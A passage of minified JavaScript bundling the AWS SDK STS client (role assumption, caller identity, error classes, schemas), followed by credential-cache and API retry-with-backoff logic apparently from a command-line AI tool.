GV6.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(w)=>w.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new ISY.NoAuthSigner}],maxAttempts:A?.maxAttempts??(0,eqA.loadConfig)(cV7.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,eqA.loadConfig)(GG1.NODE_REGION_CONFIG_OPTIONS,{...GG1.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:lV7.NodeHttpHandler.create(A?.requestHandler??q),retryMode:A?.retryMode??(0,eqA.loadConfig)({...cV7.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||bSY.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??SSY.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??lV7.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,eqA.loadConfig)(GG1.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,eqA.loadConfig)(GG1.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,eqA.loadConfig)(dV7.NODE_APP_ID_CONFIG_OPTIONS,z)}};iV7.getRuntimeConfig=gSY});var tV7=v((cSY)=>{var FSY=oP6(),QSY=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},USY=(A)=>{return{httpHandler:A.httpHandler()}};class oV7{name;kind;values;constructor({name:A,kind:K=FSY.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class aV7{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class ZG1{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new ZG1({...A,headers:{...A.headers}});if(K.query)K.query=pSY(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return ZG1.clone(this)}}function pSY(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class sV7{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function dSY(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}cSY.Field=oV7;cSY.Fields=aV7;cSY.HttpRequest=ZG1;cSY.HttpResponse=sV7;cSY.getHttpHandlerExtensionConfiguration=QSY;cSY.isValidHostname=dSY;cSY.resolveHttpHandlerRuntimeConfig=USY});var Kf7=v((eV7)=>{Object.defineProperty(eV7,"__esModule",{value:!0});eV7.resolveHttpAuthRuntimeConfig=eV7.getHttpAuthExtensionConfiguration=void 0;var tSY=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y}=A;return{setHttpAuthScheme(z){let w=K.findIndex((H)=>H.schemeId===z.schemeId);if(w===-1)K.push(z);else K.splice(w,1,z)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(z){q=z},httpAuthSchemeProvider(){return q},setCredentials(z){Y=z},credentials(){return Y}}};eV7.getHttpAuthExtensionConfiguration=tSY;var eSY=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials()}};eV7.resolveHttpAuthRuntimeConfig=eSY});var Of7=v((Hf7)=>{Object.defineProperty(Hf7,"__esModule",{value:!0});Hf7.resolveRuntimeExtensions=void 0;var qf7=Yy(),Yf7=tV7(),zf7=tqA(),wf7=Kf7(),KhY=(A,K)=>{let q=Object.assign((0,qf7.getAwsRegionExtensionConfiguration)(A),(0,zf7.getDefaultExtensionConfiguration)(A),(0,Yf7.getHttpHandlerExtensionConfiguration)(A),(0,wf7.getHttpAuthExtensionConfiguration)(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,(0,qf7.resolveAwsRegionExtensionConfiguration)(q),(0,zf7.resolveDefaultRuntimeConfig)(q),(0,Yf7.resolveHttpHandlerRuntimeConfig)(q),(0,wf7.resolveHttpAuthRuntimeConfig)(q))};Hf7.resolveRuntimeExtensions=KhY});var zV6=v((WV6)=>{Object.defineProperty(WV6,"__esModule",{value:!0});WV6.STSClient=WV6.__Client=void 0;var Xf7=BF(),qhY=mF(),YhY=gF(),$f7=Ub(),zhY=l0(),ZV6=Gz(),whY=DJ(),HhY=rF(),JhY=qy(),_f7=kZ(),Zf7=tqA();Object.defineProperty(WV6,"__Client",{enumerable:!0,get:function(){return Zf7.Client}});var Gf7=YV6(),OhY=wV6(),XhY=rV7(),$hY=Of7();class Wf7 extends Zf7.Client{config;constructor(...[A]){let K=(0,XhY.getRuntimeConfig)(A||{});super(K);this.initConfig=K;let q=(0,OhY.resolveClientEndpointParameters)(K),Y=(0,$f7.resolveUserAgentConfig)(q),z=(0,_f7.resolveRetryConfig)(Y),w=(0,zhY.resolveRegionConfig)(z),H=(0,Xf7.resolveHostHeaderConfig)(w),J=(0,JhY.resolveEndpointConfig)(H),O=(0,Gf7.resolveHttpAuthSchemeConfig)(J),X=(0,$hY.resolveRuntimeExtensions)(O,A?.extensions||[]);this.config=X,this.middlewareStack.use((0,whY.getSchemaSerdePlugin)(this.config)),this.middlewareStack.use((0,$f7.getUserAgentPlugin)(this.config)),this.middlewareStack.use((0,_f7.getRetryPlugin)(this.config)),this.middlewareStack.use((0,HhY.getContentLengthPlugin)(this.config)),this.middlewareStack.use((0,Xf7.getHostHeaderPlugin)(this.config)),this.middlewareStack.use((0,qhY.getLoggerPlugin)(this.config)),this.middlewareStack.use((0,YhY.getRecursionDetectionPlugin)(this.config)),this.middlewareStack.use((0,ZV6.getHttpAuthSchemeEndpointRuleSetPlugin)(this.config,{httpAuthSchemeParametersProvider:Gf7.defaultSTSHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async($)=>new ZV6.DefaultIdentityProviderConfig({"aws.auth#sigv4":$.credentials})})),this.middlewareStack.use((0,ZV6.getHttpSigningPlugin)(this.config))}destroy(){super.destroy()}}WV6.STSClient=Wf7});var cf7=v((WG1)=>{var TmA=zV6(),vf=tqA(),rI=qy(),oI=wV6(),Av=DJ(),DV6=fV(),_hY=Yy(),Ef=class A extends vf.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},jf7=class A extends Ef{name="ExpiredTokenException";$fault="client";constructor(K){super({name:"ExpiredTokenException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Mf7=class A extends Ef{name="MalformedPolicyDocumentException";$fault="client";constructor(K){super({name:"MalformedPolicyDocumentException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Pf7=class A extends Ef{name="PackedPolicyTooLargeException";$fault="client";constructor(K){super({name:"PackedPolicyTooLargeException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Vf7=class A extends Ef{name="RegionDisabledException";$fault="client";constructor(K){super({name:"RegionDisabledException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},ff7=class A extends Ef{name="IDPRejectedClaimException";$fault="client";constructor(K){super({name:"IDPRejectedClaimException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Nf7=class A extends Ef{name="InvalidIdentityTokenException";$fault="client";constructor(K){super({name:"InvalidIdentityTokenException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Tf7=class A extends Ef{name="IDPCommunicationErrorException";$fault="client";constructor(K){super({name:"IDPCommunicationErrorException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},vf7=class A extends Ef{name="InvalidAuthorizationMessageException";$fault="client";constructor(K){super({name:"InvalidAuthorizationMessageException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Ef7=class A extends Ef{name="ExpiredTradeInTokenException";$fault="client";constructor(K){super({name:"ExpiredTradeInTokenException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},kf7=class A extends Ef{name="JWTPayloadSizeExceededException";$fault="client";constructor(K){super({name:"JWTPayloadSizeExceededException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Cf7=class A extends Ef{name="OutboundWebIdentityFederationDisabledException";$fault="client";constructor(K){super({name:"OutboundWebIdentityFederationDisabledException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},Lf7=class A extends Ef{name="SessionDurationEscalationException";$fault="client";constructor(K){super({name:"SessionDurationEscalationException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype)}},jV6="Arn",Rf7="AccessKeyId",GhY="AssumedPrincipal",ZhY="AssumeRole",WhY="AssumedRoleId",DhY="AssumeRoleRequest",jhY="AssumeRoleResponse",MhY="AssumeRootRequest",PhY="AssumeRootResponse",DG1="AssumedRoleUser",VhY="AssumeRoleWithSAML",fhY="AssumeRoleWithSAMLRequest",NhY="AssumeRoleWithSAMLResponse",ThY="AssumeRoleWithWebIdentity",vhY="AssumeRoleWithWebIdentityRequest",EhY="AssumeRoleWithWebIdentityResponse",khY="AssumeRoot",yf7="Account",MV6="Audience",Js="Credentials",ChY="ContextAssertion",LhY="DecodeAuthorizationMessage",RhY="DecodeAuthorizationMessageRequest",yhY="DecodeAuthorizationMessageResponse",IhY="DecodedMessage",A5A="DurationSeconds",If7="Expiration",ShY="ExternalId",hhY="EncodedMessage",bhY="ExpiredTokenException",xhY="ExpiredTradeInTokenException",Sf7="FederatedUser",uhY="FederatedUserId",BhY="GetAccessKeyInfo",mhY="GetAccessKeyInfoRequest",ghY="GetAccessKeyInfoResponse",FhY="GetCallerIdentity",QhY="GetCallerIdentityRequest",UhY="GetCallerIdentityResponse",phY="GetDelegatedAccessToken",dhY="GetDelegatedAccessTokenRequest",chY="GetDelegatedAccessTokenResponse",lhY="GetFederationToken",ihY="GetFederationTokenRequest",nhY="GetFederationTokenResponse",rhY="GetSessionToken",ohY="GetSessionTokenRequest",ahY="GetSessionTokenResponse",shY="GetWebIdentityToken",thY="GetWebIdentityTokenRequest",ehY="GetWebIdentityTokenResponse",AbY="Issuer",KbY="InvalidAuthorizationMessageException",qbY="IDPCommunicationErrorException",YbY="IDPRejectedClaimException",zbY="InvalidIdentityTokenException",wbY="JWTPayloadSizeExceededException",HbY="Key",JbY="MalformedPolicyDocumentException",ObY="Name",XbY="NameQualifier",$bY="OutboundWebIdentityFederationDisabledException",jG1="Policy",MG1="PolicyArns",_bY="PrincipalArn",GbY="ProviderArn",ZbY="ProvidedContexts",WbY="ProvidedContextsListType",DbY="ProvidedContext",jbY="PolicyDescriptorType",MbY="ProviderId",vmA="PackedPolicySize",PbY="PackedPolicyTooLargeException",VbY="Provider",PV6="RoleArn",fbY="RegionDisabledException",hf7="RoleSessionName",NbY="Subject",TbY="SigningAlgorithm",vbY="SecretAccessKey",EbY="SAMLAssertion",kbY="SAMLAssertionType",CbY="SessionDurationEscalationException",LbY="SubjectFromWebIdentityToken",EmA="SourceIdentity",bf7="SerialNumber",RbY="SubjectType",ybY="SessionToken",VV6="Tags",xf7="TokenCode",IbY="TradeInToken",SbY="TargetPrincipal",hbY="TaskPolicyArn",bbY="TransitiveTagKeys",xbY="Tag",ubY="UserId",BbY="Value",uf7="WebIdentityToken",mbY="arn",gbY="accessKeySecretType",aC="awsQueryError",sC="client",FbY="clientTokenType",tC="error",eC="httpError",AL="message",QbY="policyDescriptorListType",Bf7="smithy.ts.sdk.synthetic.com.amazonaws.sts",UbY="tradeInTokenType",pbY="tagListType",dbY="webIdentityTokenType",Z7="com.amazonaws.sts",cbY=[0,Z7,gbY,8,0],lbY=[0,Z7,FbY,8,0],ibY=[0,Z7,kbY,8,0],nbY=[0,Z7,UbY,8,0],rbY=[0,Z7,dbY,8,0],fV6=[3,Z7,DG1,0,[WhY,jV6],[0,0]],obY=[3,Z7,DhY,0,[PV6,hf7,MG1,jG1,A5A,VV6,bbY,ShY,bf7,xf7,EmA,ZbY],[0,0,()=>PG1,0,1,()=>NV6,64,0,0,0,0,()=>bxY]],abY=[3,Z7,jhY,0,[Js,DG1,vmA,EmA],[[()=>K5A,0],()=>fV6,1,0]],sbY=[3,Z7,fhY,0,[PV6,_bY,EbY,MG1,jG1,A5A],[0,0,[()=>ibY,0],()=>PG1,0,1]],tbY=[3,Z7,NhY,0,[Js,DG1,vmA,NbY,RbY,AbY,MV6,XbY,EmA],[[()=>K5A,0],()=>fV6,1,0,0,0,0,0,0]],ebY=[3,Z7,vhY,0,[PV6,hf7,uf7,MbY,MG1,jG1,A5A],[0,0,[()=>lbY,0],0,()=>PG1,0,1]],AxY=[3,Z7,EhY,0,[Js,LbY,DG1,vmA,VbY,MV6,EmA],[[()=>K5A,0],0,()=>fV6,1,0,0,0]],KxY=[3,Z7,MhY,0,[SbY,hbY,A5A],[0,()=>mf7,1]],qxY=[3,Z7,PhY,0,[Js,EmA],[[()=>K5A,0],0]],K5A=[3,Z7,Js,0,[Rf7,vbY,ybY,If7],[0,[()=>cbY,0],0,4]],YxY=[3,Z7,RhY,0,[hhY],[0]],zxY=[3,Z7,yhY,0,[IhY],[0]],wxY=[-3,Z7,bhY,{[tC]:sC,[eC]:400,[aC]:["ExpiredTokenException",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(wxY,jf7);var HxY=[-3,Z7,xhY,{[tC]:sC,[eC]:400,[aC]:["ExpiredTradeInTokenException",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(HxY,Ef7);var JxY=[3,Z7,Sf7,0,[uhY,jV6],[0,0]],OxY=[3,Z7,mhY,0,[Rf7],[0]],XxY=[3,Z7,ghY,0,[yf7],[0]],$xY=[3,Z7,QhY,0,[],[]],_xY=[3,Z7,UhY,0,[ubY,yf7,jV6],[0,0,0]],GxY=[3,Z7,dhY,0,[IbY],[[()=>nbY,0]]],ZxY=[3,Z7,chY,0,[Js,vmA,GhY],[[()=>K5A,0],1,0]],WxY=[3,Z7,ihY,0,[ObY,jG1,MG1,A5A,VV6],[0,0,()=>PG1,1,()=>NV6]],DxY=[3,Z7,nhY,0,[Js,Sf7,vmA],[[()=>K5A,0],()=>JxY,1]],jxY=[3,Z7,ohY,0,[A5A,bf7,xf7],[1,0,0]],MxY=[3,Z7,ahY,0,[Js],[[()=>K5A,0]]],PxY=[3,Z7,thY,0,[MV6,A5A,TbY,VV6],[64,1,0,()=>NV6]],VxY=[3,Z7,ehY,0,[uf7,If7],[[()=>rbY,0],4]],fxY=[-3,Z7,qbY,{[tC]:sC,[eC]:400,[aC]:["IDPCommunicationError",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(fxY,Tf7);var NxY=[-3,Z7,YbY,{[tC]:sC,[eC]:403,[aC]:["IDPRejectedClaim",403]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(NxY,ff7);var TxY=[-3,Z7,KbY,{[tC]:sC,[eC]:400,[aC]:["InvalidAuthorizationMessageException",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(TxY,vf7);var vxY=[-3,Z7,zbY,{[tC]:sC,[eC]:400,[aC]:["InvalidIdentityToken",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(vxY,Nf7);var ExY=[-3,Z7,wbY,{[tC]:sC,[eC]:400,[aC]:["JWTPayloadSizeExceededException",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(ExY,kf7);var kxY=[-3,Z7,JbY,{[tC]:sC,[eC]:400,[aC]:["MalformedPolicyDocument",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(kxY,Mf7);var CxY=[-3,Z7,$bY,{[tC]:sC,[eC]:403,[aC]:["OutboundWebIdentityFederationDisabledException",403]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(CxY,Cf7);var LxY=[-3,Z7,PbY,{[tC]:sC,[eC]:400,[aC]:["PackedPolicyTooLarge",400]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(LxY,Pf7);var mf7=[3,Z7,jbY,0,[mbY],[0]],RxY=[3,Z7,DbY,0,[GbY,ChY],[0,0]],yxY=[-3,Z7,fbY,{[tC]:sC,[eC]:403,[aC]:["RegionDisabledException",403]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(yxY,Vf7);var IxY=[-3,Z7,CbY,{[tC]:sC,[eC]:403,[aC]:["SessionDurationEscalationException",403]},[AL],[0]];Av.TypeRegistry.for(Z7).registerError(IxY,Lf7);var SxY=[3,Z7,xbY,0,[HbY,BbY],[0,0]],hxY=[-3,Bf7,"STSServiceException",0,[],[]];Av.TypeRegistry.for(Bf7).registerError(hxY,Ef);var PG1=[1,Z7,QbY,0,()=>mf7],bxY=[1,Z7,WbY,0,()=>RxY],NV6=[1,Z7,pbY,0,()=>SxY],xxY=[9,Z7,ZhY,0,()=>obY,()=>abY],uxY=[9,Z7,VhY,0,()=>sbY,()=>tbY],BxY=[9,Z7,ThY,0,()=>ebY,()=>AxY],mxY=[9,Z7,khY,0,()=>KxY,()=>qxY],gxY=[9,Z7,LhY,0,()=>YxY,()=>zxY],FxY=[9,Z7,BhY,0,()=>OxY,()=>XxY],QxY=[9,Z7,FhY,0,()=>$xY,()=>_xY],UxY=[9,Z7,phY,0,()=>GxY,()=>ZxY],pxY=[9,Z7,lhY,0,()=>WxY,()=>DxY],dxY=[9,Z7,rhY,0,()=>jxY,()=>MxY],cxY=[9,Z7,shY,0,()=>PxY,()=>VxY];class VG1 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","AssumeRole",{}).n("STSClient","AssumeRoleCommand").sc(xxY).build(){}class TV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","AssumeRoleWithSAML",{}).n("STSClient","AssumeRoleWithSAMLCommand").sc(uxY).build(){}class fG1 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","AssumeRoleWithWebIdentity",{}).n("STSClient","AssumeRoleWithWebIdentityCommand").sc(BxY).build(){}class vV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","AssumeRoot",{}).n("STSClient","AssumeRootCommand").sc(mxY).build(){}class EV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","DecodeAuthorizationMessage",{}).n("STSClient","DecodeAuthorizationMessageCommand").sc(gxY).build(){}class kV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","GetAccessKeyInfo",{}).n("STSClient","GetAccessKeyInfoCommand").sc(FxY).build(){}class CV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","GetCallerIdentity",{}).n("STSClient","GetCallerIdentityCommand").sc(QxY).build(){}class LV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","GetDelegatedAccessToken",{}).n("STSClient","GetDelegatedAccessTokenCommand").sc(UxY).build(){}class RV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","GetFederationToken",{}).n("STSClient","GetFederationTokenCommand").sc(pxY).build(){}class yV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","GetSessionToken",{}).n("STSClient","GetSessionTokenCommand").sc(dxY).build(){}class IV6 extends vf.Command.classBuilder().ep(oI.commonParams).m(function(A,K,q,Y){return[rI.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("AWSSecurityTokenServiceV20110615","GetWebIdentityToken",{}).n("STSClient","GetWebIdentityTokenCommand").sc(cxY).build(){}var lxY={AssumeRoleCommand:VG1,AssumeRoleWithSAMLCommand:TV6,AssumeRoleWithWebIdentityCommand:fG1,AssumeRootCommand:vV6,DecodeAuthorizationMessageCommand:EV6,GetAccessKeyInfoCommand:kV6,GetCallerIdentityCommand:CV6,GetDelegatedAccessTokenCommand:LV6,GetFederationTokenCommand:RV6,GetSessionTokenCommand:yV6,GetWebIdentityTokenCommand:IV6};class SV6 extends TmA.STSClient{}vf.createAggregatedClient(lxY,SV6);var gf7=(A)=>{if(typeof A?.Arn==="string"){let K=A.Arn.split(":");if(K.length>4&&K[4]!=="")return K[4]}return},Ff7=async(A,K,q,Y={})=>{let z=typeof A==="function"?await A():A,w=typeof K==="function"?await K():K,H=await _hY.stsRegionDefaultResolver(Y)();return q?.debug?.("@aws-sdk/client-sts::resolveRegion","accepting first of:",`${z} (credential provider clientConfig)`,`${w} (contextual client)`,`${H} (STS default: AWS_REGION, profile region, or us-east-1)`),z??w??H},ixY=(A,K)=>{let q,Y;return async(z,w)=>{if(Y=z,!q){let{logger:$=A?.parentClientConfig?.logger,profile:_=A?.parentClientConfig?.profile,region:G,requestHandler:Z=A?.parentClientConfig?.requestHandler,credentialProviderLogger:W,userAgentAppId:D=A?.parentClientConfig?.userAgentAppId}=A,j=await Ff7(G,A?.parentClientConfig?.region,W,{logger:$,profile:_}),M=!Qf7(Z);q=new K({...A,userAgentAppId:D,profile:_,credentialDefaultProvider:()=>async()=>Y,region:j,requestHandler:M?Z:void 0,logger:$})}let{Credentials:H,AssumedRoleUser:J}=await q.send(new VG1(w));if(!H||!H.AccessKeyId||!H.SecretAccessKey)throw Error(`Invalid response from STS.assumeRole call with role ${w.RoleArn}`);let O=gf7(J),X={accessKeyId:H.AccessKeyId,secretAccessKey:H.SecretAccessKey,sessionToken:H.SessionToken,expiration:H.Expiration,...H.CredentialScope&&{credentialScope:H.CredentialScope},...O&&{accountId:O}};return DV6.setCredentialFeature(X,"CREDENTIALS_STS_ASSUME_ROLE","i"),X}},nxY=(A,K)=>{let q;return async(Y)=>{if(!q){let{logger:O=A?.parentClientConfig?.logger,profile:X=A?.parentClientConfig?.profile,region:$,requestHandler:_=A?.parentClientConfig?.requestHandler,credentialProviderLogger:G,userAgentAppId:Z=A?.parentClientConfig?.userAgentAppId}=A,W=await Ff7($,A?.parentClientConfig?.region,G,{logger:O,profile:X}),D=!Qf7(_);q=new K({...A,userAgentAppId:Z,profile:X,region:W,requestHandler:D?_:void 0,logger:O})}let{Credentials:z,AssumedRoleUser:w}=await q.send(new fG1(Y));if(!z||!z.AccessKeyId||!z.SecretAccessKey)throw Error(`Invalid response from STS.assumeRoleWithWebIdentity call with role ${Y.RoleArn}`);let H=gf7(w),J={accessKeyId:z.AccessKeyId,secretAccessKey:z.SecretAccessKey,sessionToken:z.SessionToken,expiration:z.Expiration,...z.CredentialScope&&{credentialScope:z.CredentialScope},...H&&{accountId:H}};if(H)DV6.setCredentialFeature(J,"RESOLVED_ACCOUNT_ID","T");return DV6.setCredentialFeature(J,"CREDENTIALS_STS_ASSUME_ROLE_WEB_ID","k"),J}},Qf7=(A)=>{return A?.metadata?.handlerProtocol==="h2"},Uf7=(A,K)=>{if(!K)return A;else return class extends A{constructor(Y){super(Y);for(let z of K)this.middlewareStack.use(z)}}},pf7=(A={},K)=>ixY(A,Uf7(TmA.STSClient,K)),df7=(A={},K)=>nxY(A,Uf7(TmA.STSClient,K)),rxY=(A)=>(K)=>A({roleAssumer:pf7(K),roleAssumerWithWebIdentity:df7(K),...K});Object.defineProperty(WG1,"$Command",{enumerable:!0,get:function(){return vf.Command}});WG1.AssumeRoleCommand=VG1;WG1.AssumeRoleWithSAMLCommand=TV6;WG1.AssumeRoleWithWebIdentityCommand=fG1;WG1.AssumeRootCommand=vV6;WG1.DecodeAuthorizationMessageCommand=EV6;WG1.ExpiredTokenException=jf7;WG1.ExpiredTradeInTokenException=Ef7;WG1.GetAccessKeyInfoCommand=kV6;WG1.GetCallerIdentityCommand=CV6;WG1.GetDelegatedAccessTokenCommand=LV6;WG1.GetFederationTokenCommand=RV6;WG1.GetSessionTokenCommand=yV6;WG1.GetWebIdentityTokenCommand=IV6;WG1.IDPCommunicationErrorException=Tf7;WG1.IDPRejectedClaimException=ff7;WG1.InvalidAuthorizationMessageException=vf7;WG1.InvalidIdentityTokenException=Nf7;WG1.JWTPayloadSizeExceededException=kf7;WG1.MalformedPolicyDocumentException=Mf7;WG1.OutboundWebIdentityFederationDisabledException=Cf7;WG1.PackedPolicyTooLargeException=Pf7;WG1.RegionDisabledException=Vf7;WG1.STS=SV6;WG1.STSServiceException=Ef;WG1.SessionDurationEscalationException=Lf7;WG1.decorateDefaultCredentialProvider=rxY;WG1.getDefaultRoleAssumer=pf7;WG1.getDefaultRoleAssumerWithWebIdentity=df7;Object.keys(TmA).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(WG1,A))Object.defineProperty(WG1,A,{enumerable:!0,get:function(){return TmA[A]}})})});function if7(A){return A?.name==="CredentialsProviderError"}function nf7(A){if(!A||typeof A!=="object")return!1;let K=A;if(!K.Credentials||typeof K.Credentials!=="object")return!1;let q=K.Credentials;return typeof q.AccessKeyId==="string"&&typeof q.SecretAccessKey==="string"&&typeof q.SessionToken==="string"&&q.AccessKeyId.length>0&&q.SecretAccessKey.length>0&&q.SessionToken.length>0}async function rf7(){try{h("Clearing AWS credential provider cache"),await lf7.fromIni({ignoreCache:!0})(),h("AWS credential provider cache refreshed")}catch(A){h("Failed to clear AWS credential cache (this is expected if no credentials are configured)")}}var NG1,lf7,hV6=async()=>{await new NG1.STSClient().send(new NG1.GetCallerIdentityCommand({}))};var bV6=k(()=>{Z1();NG1=o(cf7(),1),lf7=o(Fz6(),1)});async function*vG1(A,K,q){let Y=IuY(q),z={model:q.model,maxThinkingTokens:q.maxThinkingTokens},w=null,H=0,J;for(let O=1;O<=Y+1;O++){if(q.signal?.aborted)throw new h2;try{if(w===null||J instanceof r7&&J.status===401||af7(J)){if(J instanceof r7&&J.status===401){let X=LK()?.accessToken;if(X)await CG1(X)}w=await A()}return await K(w,O,z)}catch(X){if(J=X,h(`API error (attempt ${O}/${Y+1}): ${X instanceof r7?`${X.status} ${X.message}`:X instanceof Error?X.message:String(X)}`,{level:"error"}),LuY(X)&&(process.env.FALLBACK_FOR_ALL_PRIMARY_MODELS||!Z4()&&zXA(q.model))){if(H++,H>=EuY){if(q.fallbackModel)throw n("tengu_api_opus_fallback_triggered",{original_model:q.model,fallback_model:q.fallbackModel,provider:Bb()}),new TG1(q.model,q.fallbackModel);if(!process.env.IS_SANDBOX)throw n("tengu_api_custom_529_overloaded_error",{}),new Os(Error(c_6),z)}}if(O>Y)throw new Os(X,z);if(!RuY(X)&&(!(X instanceof r7)||!yuY(X)))throw new Os(X,z);if(X instanceof r7){let Z=of7(X);if(Z){let{inputTokens:W,contextLimit:D}=Z,j=1000,M=Math.max(0,D-W-1000);if(M<xV6)throw KA(Error(`availableContext ${M} is less than FLOOR_OUTPUT_TOKENS ${xV6}`)),X;let P=(z.maxThinkingTokens||0)+1,f=Math.max(xV6,M,P);z.maxTokensOverride=f,n("tengu_max_tokens_context_overflow_adjustment",{inputTokens:W,contextLimit:D,adjustedMaxTokens:f,attempt:O});continue}}let _=CuY(X),G=xp(O,_);if(X instanceof r7)yield sf7(X,G,O,Y);n("tengu_api_retry",{attempt:O,delayMs:G,error:X.message,status:X.status,provider:Bb()}),await Iu(G,q.signal)}}throw new Os(J,z)}function CuY(A){return(A.headers?.["retry-after"]||A.headers?.get?.("retry-after"))??null}function xp(A,K){if(K){let z=parseInt(K,10);if(!isNaN(z))return z*1000}let q=Math.min(kuY*Math.pow(2,A-1),32000),Y=Math.random()*0.25*q;return q+Y}function of7(A){if(A.status!==400||!A.message)return;if(!A.message.includes("input length and `max_tokens` exceed context limit"))return;let K=/input length and `max_tokens` exceed context limit: (\d+) \+ (\d+) > 